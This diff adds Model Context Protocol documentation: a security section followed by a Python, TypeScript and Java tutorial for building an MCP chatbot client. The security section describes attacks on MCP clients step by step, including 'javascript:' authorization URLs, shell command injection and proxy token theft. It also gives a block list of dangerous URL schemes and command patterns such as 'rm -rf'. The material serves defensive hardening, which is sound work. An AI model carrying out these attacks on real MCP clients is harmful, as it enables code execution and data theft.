+Local MCP servers with inadequate restrictions or from untrusted sources
+introduce several critical security risks:
+
+* **Arbitrary code execution**. Attackers can execute any command with
+ MCP client privileges.
+* **No visibility**. Users have no insight into what commands are being
+ executed.
+* **Command obfuscation**. Malicious actors can use complex or
+ convoluted commands to appear legitimate.
+* **Data exfiltration**. Attackers can access legitimate local MCP
+ servers via compromised JavaScript.
+* **Data loss**. Attackers or bugs in legitimate servers could lead to
+ irrecoverable data loss on the host machine.
+
+#### Mitigation
+
+If an MCP client supports one-click local MCP server configuration, it
+**MUST** implement proper consent mechanisms prior to executing commands.
+
+**Pre-Configuration Consent**
+
+Display a clear consent dialog before connecting a new local MCP server
+via one-click configuration. The MCP client **MUST**:
+
+* Show the exact command that will be executed, without truncation
+ (include arguments and parameters)
+* Clearly identify it as a potentially dangerous operation that executes
+ code on the user's system
+* Require explicit user approval before proceeding
+* Allow users to cancel the configuration
+
+The MCP client **SHOULD** implement additional checks and guardrails to
+mitigate potential code execution attack vectors:
+
+* Highlight potentially dangerous command patterns (e.g., commands
+ containing `sudo`, `rm -rf`, network operations, file system access
+ outside expected directories)
+* Display warnings for commands that access sensitive locations (home
+ directory, SSH keys, system directories)
+* Warn that MCP servers run with the same privileges as the client
+* Execute MCP server commands in a sandboxed environment with minimal
+ default privileges
+* Launch MCP servers with restricted access to the file system, network,
+ and other system resources
+* Provide mechanisms for users to explicitly grant additional privileges
+ (e.g., specific directory access, network access) when needed
+* Use platform-appropriate sandboxing technologies (containers, chroot,
+ application sandboxes, etc.)
+* Keep sandboxing solutions up-to-date to account for emerging
+ vulnerabilities
+
+MCP servers intending for their servers to be run locally **SHOULD**
+implement measures to prevent unauthorized usage from malicious
+processes:
+
+* Use the `stdio` transport to limit access to just the MCP client
+* Restrict access if using an HTTP transport, such as:
+ * Require an authorization token
+ * Use unix domain sockets or other Interprocess Communication (IPC)
+ mechanisms with restricted access
+
+### OAuth Authorization URL Validation
+
+OAuth authorization URLs provided by malicious MCP servers can exploit client-side URL handling vulnerabilities, leading to Cross-Site Scripting (XSS) attacks and Remote Code Execution (RCE).
+
+#### Attack Description
+
+During the OAuth authorization flow, MCP servers provide authorization URLs that clients open in browsers or handle programmatically. Malicious servers can exploit insufficient URL validation in MCP clients through the following attack vectors:
+
+**JavaScript URL Injection (XSS)**
+
+1. A malicious MCP server provides a `javascript:` URL as the authorization endpoint
+2. The MCP client passes this URL directly to `window.open()` or similar browser APIs
+3. The browser executes the JavaScript code embedded in the URL
+4. The attacker gains JavaScript execution context within the client application, potentially leading to session hijacking, credential theft, or further exploitation
+
+**Command Injection via Shell Execution**
+
+1. A malicious MCP server provides a URL containing shell command injection payloads
+2. The MCP client uses shell commands (e.g., `cmd.exe`, PowerShell, or shell scripts) to open the URL
+3. The shell interprets parts of the URL as additional commands to execute
+4. The attacker achieves arbitrary code execution on the user's system
+
+**stdio Transport Privilege Escalation**
+
+When XSS vulnerabilities are combined with `stdio` transport capabilities,
+attackers can escalate web-based attacks to full system compromise. See
+[stdio Transport Security in Proxy Scenarios](#stdio-transport-security-in-proxy-scenarios)
+for detailed attack vectors and mitigations.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant MaliciousMCP as Malicious MCP Server
+ participant Client as MCP Client
+ participant Proxy as MCP Proxy
+ participant System as Host System
+
+ MaliciousMCP->>Client: Malicious authorization URL (javascript:)
+ Client->>Client: Execute JavaScript (XSS)
+ Client->>Client: Extract proxy auth token
+ Client->>Proxy: Malicious stdio command request
+ Note over Client,Proxy: Using stolen authentication token
+ Proxy->>System: Execute arbitrary command
+ System-->>Proxy: Command output
+ Proxy-->>Client: Command result
+ Client-->>MaliciousMCP: Exfiltrate data/establish persistence
+```
+
+#### Risks
+
+OAuth authorization URL vulnerabilities introduce several critical security risks:
+
+* **Cross-Site Scripting (XSS)**. Malicious JavaScript execution can lead to session hijacking, credential theft, and unauthorized actions within the client application.
+* **Remote Code Execution (RCE)**. Command injection through shell execution allows attackers to run arbitrary code with user privileges.
+* **Privilege Escalation**. XSS combined with `stdio` transport can escalate web-based attacks to full system compromise.
+* **Data Exfiltration**. Attackers can access sensitive data, configuration files, and credentials stored on the user's system.
+* **Persistence**. Attackers can install malware, create backdoors, or modify system configurations for persistent access.
+
+#### Mitigation
+
+**URL Scheme Validation**
+
+MCP clients **MUST** validate authorization URLs and reject dangerous schemes:
+
+* **MUST** only allow `http://` and `https://` schemes for authorization URLs.
+ The `http://` scheme is acceptable only for loopback addresses (such as
+ `localhost`, `127.0.0.1`, or `::1`) during local development; authorization
+ servers in production **MUST** use `https://`.
+* **MUST** reject `javascript:`, `data:`, `file:`, `vbscript:`, and other potentially dangerous schemes
+* **SHOULD** use allowlist-based validation rather than blocklist-based approaches
+
+**Secure URL Opening**
+
+MCP clients **MUST** avoid shell execution when opening URLs:
+
+* **MUST NOT** use shell commands (e.g., `cmd.exe`, `sh`, PowerShell) to open URLs
+* **SHOULD** use platform-specific, non-shell URL opening mechanisms
+
+**Content Security Policy (CSP)**
+
+Web-based MCP clients **SHOULD** implement Content Security Policy headers to prevent JavaScript execution:
+
+* Set `script-src 'self'` to prevent execution of inline JavaScript
+* Use `default-src 'self'` to restrict resource loading
+* Consider `script-src 'nonce-'` for dynamic content that requires inline scripts
+
+**Input Sanitization**
+
+MCP clients **MUST** sanitize and validate all URLs received from MCP servers:
+
+* Implement strict URL parsing and validation
+* Reject URLs with special characters that could be interpreted by shells
+* Consider using dedicated URL sanitization libraries
+* Log suspicious authorization URLs for security monitoring
+
+### stdio Transport Security in Proxy Scenarios
+
+The `stdio` transport itself is not inherently vulnerable. However, in proxy architectures where a separate proxy service manages `stdio` connections and can spawn MCP servers as child processes, it can provide a critical escalation path from web-based attacks to full system compromise.
+
+#### Attack Description
+
+**Important**: This attack vector only applies to MCP implementations that use a proxy architecture, not to direct `stdio` transport usage.
+
+In proxy-based MCP implementations, a local proxy service sits between the client and MCP servers, spawning servers as child processes via the `stdio` transport. This architecture creates a privileged escalation path when combined with client-side vulnerabilities:
+
+1. Attacker achieves XSS or other client-side code execution (e.g., through OAuth URL vulnerabilities)
+2. Using the attack vector above, the malicious actor accesses the MCP proxy authentication token established between the client and the proxy from the client's environment
+3. Malicious actor makes authenticated requests to the local MCP proxy service
+4. Proxy spawns arbitrary commands via the `stdio` transport (believing they are legitimate MCP server commands)
+5. Attacker achieves Remote Code Execution with user privileges
+
+#### Risks
+
+* **Privilege Escalation**. Web-based vulnerabilities (XSS) can escalate to arbitrary code execution on the host system through proxy command execution
+* **Authentication Bypass**. Stolen proxy authentication tokens allow unauthorized access to stdio process spawning capabilities
+* **System Compromise**. Attackers can execute any command that the MCP proxy process has privileges to run
+
+#### Mitigation
+
+The primary defense is to prevent classes of vulnerabilities that enable this attack vector:
+
+* Implement the mitigations described in [OAuth Authorization URL Validation](#oauth-authorization-url-validation)
+* Use Content Security Policy (CSP) to prevent JavaScript execution from untrusted sources
+* Validate and sanitize all input from MCP servers before processing
+
+Since XSS fundamentally compromises the client's security context, focus on limiting the damage:
+
+**stdio Transport Restrictions**
+
+MCP proxy services **SHOULD** implement additional security controls for `stdio` transport:
+
+* Implement sandboxing or containerization for spawned processes
+* Restrict file system access for spawned MCP servers
+* Log all `stdio` transport usage for security monitoring
+* Require additional authorization for potentially dangerous commands
+
+**Client-Side Protections**
+
+MCP clients **SHOULD** implement defense-in-depth measures:
+
+* Isolate proxy communication in a separate security context when possible
+* Use principle of least privilege for proxy process permissions
+* Implement process-level sandboxing for the proxy service itself
+* Consider running the proxy in a container or restricted environment
+
+### Scope Minimization
+
+Poor scope design increases token compromise impact, elevates user
+friction, and obscures audit trails.
+
+#### Attack Description
+
+An attacker obtains (via log leakage, memory scraping, or local
+interception) an access token carrying broad scopes (`files:*`, `db:*`,
+`admin:*`) that were granted up front because the MCP server exposed
+every scope in `scopes_supported` and the client requested them all.
+The token enables lateral data access, privilege chaining, and difficult
+revocation without re-consenting the entire surface.
+
+#### Risks
+
+* Expanded blast radius: stolen broad token enables unrelated
+ tool/resource access
+* Higher friction on revocation: revoking a max-privilege token disrupts
+ all workflows
+* Audit noise: single omnibus scope masks user intent per operation
+* Privilege chaining: attacker can immediately invoke high-risk tools
+ without further elevation prompts
+* Consent abandonment: users decline dialogs listing excessive scopes
+* Scope inflation blindness: lack of metrics makes over-broad requests
+ normalised
+
+#### Mitigation
+
+Implement a progressive, least-privilege scope model:
+
+* Minimal initial scope set (e.g., `mcp:tools-basic`) containing only
+ low-risk discovery/read operations
+* Incremental elevation via targeted `WWW-Authenticate` `scope="..."`
+ challenges when privileged operations are first attempted
+* Down-scoping tolerance: server should accept reduced scope tokens;
+ auth server MAY issue a subset of requested scopes
+
+Server guidance:
+
+* Emit precise scope challenges; avoid returning the full catalog
+* Log elevation events (scope requested, granted subset) with
+ correlation IDs
+
+Client guidance:
+
+* Begin with only baseline scopes (or those specified by initial
+ `WWW-Authenticate`)
+* Cache recent failures to avoid repeated elevation loops for denied
+ scopes
+
+#### Common Mistakes
+
+* Publishing all possible scopes in `scopes_supported`
+* Using wildcard or omnibus scopes (`*`, `all`, `full-access`)
+* Bundling unrelated privileges to preempt future prompts
+* Returning entire scope catalog in every challenge
+* Silent scope semantic changes without versioning
+* Treating claimed scopes in token as sufficient without server-side
+ authorization logic
+
+Proper minimization constrains compromise impact, improves audit
+clarity, and reduces consent churn.
diff --git a/content/mcp/docs/2025-06-18/develop/build-client.md b/content/mcp/docs/2025-06-18/develop/build-client.md
new file mode 100644
index 000000000..d45fd34ea
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/develop/build-client.md
@@ -0,0 +1,2514 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build an MCP client
+
+> Get started building your own client that can integrate with all MCP servers.
+
+In this tutorial, you'll learn how to build an LLM-powered chatbot client that connects to MCP servers.
+
+Before you begin, it helps to have gone through our [Build an MCP Server](/docs/2025-06-18/develop/build-server) tutorial so you can understand how clients and servers communicate.
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-python)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Latest Python version installed
+ * Latest version of `uv` installed
+
+ ## Setting Up Your Environment
+
+ First, create a new Python project with `uv`:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ uv init mcp-client
+ cd mcp-client
+
+ # Create virtual environment
+ uv venv
+
+ # Activate virtual environment
+ source .venv/bin/activate
+
+ # Install required packages
+ uv add mcp anthropic python-dotenv
+
+ # Remove boilerplate files
+ rm main.py
+
+ # Create our main file
+ touch client.py
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ uv init mcp-client
+ cd mcp-client
+
+ # Create virtual environment
+ uv venv
+
+ # Activate virtual environment
+ .venv\Scripts\activate
+
+ # Install required packages
+ uv add mcp anthropic python-dotenv
+
+ # Remove boilerplate files
+ del main.py
+
+ # Create our main file
+ new-item client.py
+ ```
+
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our imports and create the basic client class:
+
+ ```python theme={null}
+ import asyncio
+ from typing import Optional
+ from contextlib import AsyncExitStack
+
+ from mcp import ClientSession, StdioServerParameters
+ from mcp.client.stdio import stdio_client
+
+ from anthropic import Anthropic
+ from dotenv import load_dotenv
+
+ load_dotenv() # load environment variables from .env
+
+ class MCPClient:
+ def __init__(self):
+ # Initialize session and client objects
+ self.session: Optional[ClientSession] = None
+ self.exit_stack = AsyncExitStack()
+ self.anthropic = Anthropic()
+ # methods will go here
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```python theme={null}
+ async def connect_to_server(self, server_script_path: str):
+ """Connect to an MCP server
+
+ Args:
+ server_script_path: Path to the server script (.py or .js)
+ """
+ is_python = server_script_path.endswith('.py')
+ is_js = server_script_path.endswith('.js')
+ if not (is_python or is_js):
+ raise ValueError("Server script must be a .py or .js file")
+
+ command = "python" if is_python else "node"
+ server_params = StdioServerParameters(
+ command=command,
+ args=[server_script_path],
+ env=None
+ )
+
+ stdio_transport = await self.exit_stack.enter_async_context(stdio_client(server_params))
+ self.stdio, self.write = stdio_transport
+ self.session = await self.exit_stack.enter_async_context(ClientSession(self.stdio, self.write))
+
+ await self.session.initialize()
+
+ # List available tools
+ response = await self.session.list_tools()
+ tools = response.tools
+ print("\nConnected to server with tools:", [tool.name for tool in tools])
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```python theme={null}
+ async def process_query(self, query: str) -> str:
+ """Process a query using Claude and available tools"""
+ messages = [
+ {
+ "role": "user",
+ "content": query
+ }
+ ]
+
+ response = await self.session.list_tools()
+ available_tools = [{
+ "name": tool.name,
+ "description": tool.description,
+ "input_schema": tool.inputSchema
+ } for tool in response.tools]
+
+ # Initial Claude API call
+ response = self.anthropic.messages.create(
+ model="claude-sonnet-4-20250514",
+ max_tokens=1000,
+ messages=messages,
+ tools=available_tools
+ )
+
+ # Process response and handle tool calls
+ final_text = []
+
+ assistant_message_content = []
+ for content in response.content:
+ if content.type == 'text':
+ final_text.append(content.text)
+ assistant_message_content.append(content)
+ elif content.type == 'tool_use':
+ tool_name = content.name
+ tool_args = content.input
+
+ # Execute tool call
+ result = await self.session.call_tool(tool_name, tool_args)
+ final_text.append(f"[Calling tool {tool_name} with args {tool_args}]")
+
+ assistant_message_content.append(content)
+ messages.append({
+ "role": "assistant",
+ "content": assistant_message_content
+ })
+ messages.append({
+ "role": "user",
+ "content": [
+ {
+ "type": "tool_result",
+ "tool_use_id": content.id,
+ "content": result.content
+ }
+ ]
+ })
+
+ # Get next response from Claude
+ response = self.anthropic.messages.create(
+ model="claude-sonnet-4-20250514",
+ max_tokens=1000,
+ messages=messages,
+ tools=available_tools
+ )
+
+ final_text.append(response.content[0].text)
+
+ return "\n".join(final_text)
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```python theme={null}
+ async def chat_loop(self):
+ """Run an interactive chat loop"""
+ print("\nMCP Client Started!")
+ print("Type your queries or 'quit' to exit.")
+
+ while True:
+ try:
+ query = input("\nQuery: ").strip()
+
+ if query.lower() == 'quit':
+ break
+
+ response = await self.process_query(query)
+ print("\n" + response)
+
+ except Exception as e:
+ print(f"\nError: {str(e)}")
+
+ async def cleanup(self):
+ """Clean up resources"""
+ await self.exit_stack.aclose()
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```python theme={null}
+ async def main():
+ if len(sys.argv) < 2:
+ print("Usage: python client.py ")
+ sys.exit(1)
+
+ client = MCPClient()
+ try:
+ await client.connect_to_server(sys.argv[1])
+ await client.chat_loop()
+ finally:
+ await client.cleanup()
+
+ if __name__ == "__main__":
+ import sys
+ asyncio.run(main())
+ ```
+
+ You can find the complete `client.py` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-python/client.py).
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The `MCPClient` class initializes with session management and API clients
+ * Uses `AsyncExitStack` for proper resource management
+ * Configures the Anthropic client for Claude interactions
+
+ ### 2. Server Connection
+
+ * Supports both Python and Node.js servers
+ * Validates server script type
+ * Sets up proper communication channels
+ * Initializes the session and lists available tools
+
+ ### 3. Query Processing
+
+ * Maintains conversation context
+ * Handles Claude's responses and tool calls
+ * Manages the message flow between Claude and tools
+ * Combines results into a coherent response
+
+ ### 4. Interactive Interface
+
+ * Provides a simple command-line interface
+ * Handles user input and displays responses
+ * Includes basic error handling
+ * Allows graceful exit
+
+ ### 5. Resource Management
+
+ * Proper cleanup of resources
+ * Error handling for connection issues
+ * Graceful shutdown procedures
+
+ ## Common Customization Points
+
+ 1. **Tool Handling**
+ * Modify `process_query()` to handle specific tool types
+ * Add custom error handling for tool calls
+ * Implement tool-specific response formatting
+
+ 2. **Response Processing**
+ * Customize how tool results are formatted
+ * Add response filtering or transformation
+ * Implement custom logging
+
+ 3. **User Interface**
+ * Add a GUI or web interface
+ * Implement rich console output
+ * Add command history or auto-completion
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ uv run client.py path/to/server.py # python server
+ uv run client.py path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python), your command might look something like this: `python client.py .../quickstart-resources/weather-server-python/weather.py`
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ Here's an example of what it should look like if connected to the weather server from the server quickstart:
+
+
+
+
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Always wrap tool calls in try-catch blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Resource Management**
+ * Use `AsyncExitStack` for proper cleanup
+ * Close connections when done
+ * Handle server disconnections
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.py for Python or .js for Node.js)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ uv run client.py ./server/weather.py
+
+ # Absolute path
+ uv run client.py /Users/username/projects/mcp-server/weather.py
+
+ # Windows path (either format works)
+ uv run client.py C:/projects/mcp-server/weather.py
+ uv run client.py C:\\projects\\mcp-server\\weather.py
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `FileNotFoundError`: Check your server path
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `Timeout error`: Consider increasing the timeout in your client configuration
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-typescript)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Node.js 17 or higher installed
+ * Latest version of `npm` installed
+ * Anthropic API key (Claude)
+
+ ## Setting Up Your Environment
+
+ First, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ mkdir mcp-client-typescript
+ cd mcp-client-typescript
+
+ # Initialize npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @anthropic-ai/sdk @modelcontextprotocol/sdk dotenv
+
+ # Install dev dependencies
+ npm install -D @types/node typescript
+
+ # Create source file
+ touch index.ts
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ md mcp-client-typescript
+ cd mcp-client-typescript
+
+ # Initialize npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @anthropic-ai/sdk @modelcontextprotocol/sdk dotenv
+
+ # Install dev dependencies
+ npm install -D @types/node typescript
+
+ # Create source file
+ new-item index.ts
+ ```
+
+
+ Update your `package.json` to set `type: "module"` and a build script:
+
+ ```json package.json theme={null}
+ {
+ "type": "module",
+ "scripts": {
+ "build": "tsc && chmod 755 build/index.js"
+ }
+ }
+ ```
+
+ Create a `tsconfig.json` in the root of your project:
+
+ ```json tsconfig.json theme={null}
+ {
+ "compilerOptions": {
+ "target": "ES2022",
+ "module": "Node16",
+ "moduleResolution": "Node16",
+ "outDir": "./build",
+ "rootDir": "./",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "forceConsistentCasingInFileNames": true
+ },
+ "include": ["index.ts"],
+ "exclude": ["node_modules"]
+ }
+ ```
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our imports and create the basic client class in `index.ts`:
+
+ ```typescript theme={null}
+ import { Anthropic } from "@anthropic-ai/sdk";
+ import {
+ MessageParam,
+ Tool,
+ } from "@anthropic-ai/sdk/resources/messages/messages.mjs";
+ import { Client } from "@modelcontextprotocol/sdk/client/index.js";
+ import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
+ import readline from "readline/promises";
+ import dotenv from "dotenv";
+
+ dotenv.config();
+
+ const ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY;
+ if (!ANTHROPIC_API_KEY) {
+ throw new Error("ANTHROPIC_API_KEY is not set");
+ }
+
+ class MCPClient {
+ private mcp: Client;
+ private anthropic: Anthropic;
+ private transport: StdioClientTransport | null = null;
+ private tools: Tool[] = [];
+
+ constructor() {
+ this.anthropic = new Anthropic({
+ apiKey: ANTHROPIC_API_KEY,
+ });
+ this.mcp = new Client({ name: "mcp-client-cli", version: "1.0.0" });
+ }
+ // methods will go here
+ }
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```typescript theme={null}
+ async connectToServer(serverScriptPath: string) {
+ try {
+ const isJs = serverScriptPath.endsWith(".js");
+ const isPy = serverScriptPath.endsWith(".py");
+ if (!isJs && !isPy) {
+ throw new Error("Server script must be a .js or .py file");
+ }
+ const command = isPy
+ ? process.platform === "win32"
+ ? "python"
+ : "python3"
+ : process.execPath;
+
+ this.transport = new StdioClientTransport({
+ command,
+ args: [serverScriptPath],
+ });
+ await this.mcp.connect(this.transport);
+
+ const toolsResult = await this.mcp.listTools();
+ this.tools = toolsResult.tools.map((tool) => {
+ return {
+ name: tool.name,
+ description: tool.description,
+ input_schema: tool.inputSchema,
+ };
+ });
+ console.log(
+ "Connected to server with tools:",
+ this.tools.map(({ name }) => name)
+ );
+ } catch (e) {
+ console.log("Failed to connect to MCP server: ", e);
+ throw e;
+ }
+ }
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```typescript theme={null}
+ async processQuery(query: string) {
+ const messages: MessageParam[] = [
+ {
+ role: "user",
+ content: query,
+ },
+ ];
+
+ const response = await this.anthropic.messages.create({
+ model: "claude-sonnet-4-20250514",
+ max_tokens: 1000,
+ messages,
+ tools: this.tools,
+ });
+
+ const finalText = [];
+
+ for (const content of response.content) {
+ if (content.type === "text") {
+ finalText.push(content.text);
+ } else if (content.type === "tool_use") {
+ const toolName = content.name;
+ const toolArgs = content.input as { [x: string]: unknown } | undefined;
+
+ const result = await this.mcp.callTool({
+ name: toolName,
+ arguments: toolArgs,
+ });
+ finalText.push(
+ `[Calling tool ${toolName} with args ${JSON.stringify(toolArgs)}]`
+ );
+
+ messages.push({
+ role: "user",
+ content: result.content as string,
+ });
+
+ const response = await this.anthropic.messages.create({
+ model: "claude-sonnet-4-20250514",
+ max_tokens: 1000,
+ messages,
+ });
+
+ finalText.push(
+ response.content[0].type === "text" ? response.content[0].text : ""
+ );
+ }
+ }
+
+ return finalText.join("\n");
+ }
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```typescript theme={null}
+ async chatLoop() {
+ const rl = readline.createInterface({
+ input: process.stdin,
+ output: process.stdout,
+ });
+
+ try {
+ console.log("\nMCP Client Started!");
+ console.log("Type your queries or 'quit' to exit.");
+
+ while (true) {
+ const message = await rl.question("\nQuery: ");
+ if (message.toLowerCase() === "quit") {
+ break;
+ }
+ const response = await this.processQuery(message);
+ console.log("\n" + response);
+ }
+ } finally {
+ rl.close();
+ }
+ }
+
+ async cleanup() {
+ await this.mcp.close();
+ }
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```typescript theme={null}
+ async function main() {
+ if (process.argv.length < 3) {
+ console.log("Usage: node index.ts ");
+ return;
+ }
+ const mcpClient = new MCPClient();
+ try {
+ await mcpClient.connectToServer(process.argv[2]);
+ await mcpClient.chatLoop();
+ } catch (e) {
+ console.error("Error:", e);
+ await mcpClient.cleanup();
+ process.exit(1);
+ } finally {
+ await mcpClient.cleanup();
+ process.exit(0);
+ }
+ }
+
+ main();
+ ```
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ # Build TypeScript
+ npm run build
+
+ # Run the client
+ node build/index.js path/to/server.py # python server
+ node build/index.js path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript), your command might look something like this: `node build/index.js .../quickstart-resources/weather-server-typescript/build/index.js`
+
+
+ **The client will:**
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Use TypeScript's type system for better error detection
+ * Wrap tool calls in try-catch blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.js for Node.js or .py for Python)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ node build/index.js ./server/build/index.js
+
+ # Absolute path
+ node build/index.js /Users/username/projects/mcp-server/build/index.js
+
+ # Windows path (either format works)
+ node build/index.js C:/projects/mcp-server/build/index.js
+ node build/index.js C:\\projects\\mcp-server\\build\\index.js
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `Error: Cannot find module`: Check your build folder and ensure TypeScript compilation succeeded
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `ANTHROPIC_API_KEY is not set`: Check your .env file and environment variables
+ * `TypeError`: Ensure you're using the correct types for tool arguments
+ * `BadRequestError`: Ensure you have enough credits to access the Anthropic API
+
+
+
+
+ This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
+ To learn how to create sync and async MCP Clients manually, consult the [Java SDK Client](https://java.sdk.modelcontextprotocol.io/) documentation
+
+
+ This example demonstrates how to build an interactive chatbot that combines Spring AI's Model Context Protocol (MCP) with the [Brave Search MCP Server](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/brave-search). The application creates a conversational interface powered by Anthropic's Claude AI model that can perform internet searches through Brave Search, enabling natural language interactions with real-time web data.
+ [You can find the complete code for this tutorial here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/web-search/brave-chatbot)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Java 17 or higher
+ * Maven 3.6+
+ * npx package manager
+ * Anthropic API key (Claude)
+ * Brave Search API key
+
+ ## Setting Up Your Environment
+
+ 1. Install npx (Node Package eXecute):
+ First, make sure to install [npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm)
+ and then run:
+
+ ```bash theme={null}
+ npm install -g npx
+ ```
+
+ 2. Clone the repository:
+
+ ```bash theme={null}
+ git clone https://github.com/spring-projects/spring-ai-examples.git
+ cd model-context-protocol/web-search/brave-chatbot
+ ```
+
+ 3. Set up your API keys:
+
+ ```bash theme={null}
+ export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
+ export BRAVE_API_KEY='your-brave-api-key-here'
+ ```
+
+ 4. Build the application:
+
+ ```bash theme={null}
+ ./mvnw clean install
+ ```
+
+ 5. Run the application using Maven:
+ ```bash theme={null}
+ ./mvnw spring-boot:run
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` and `BRAVE_API_KEY` keys secure!
+
+
+ ## How it Works
+
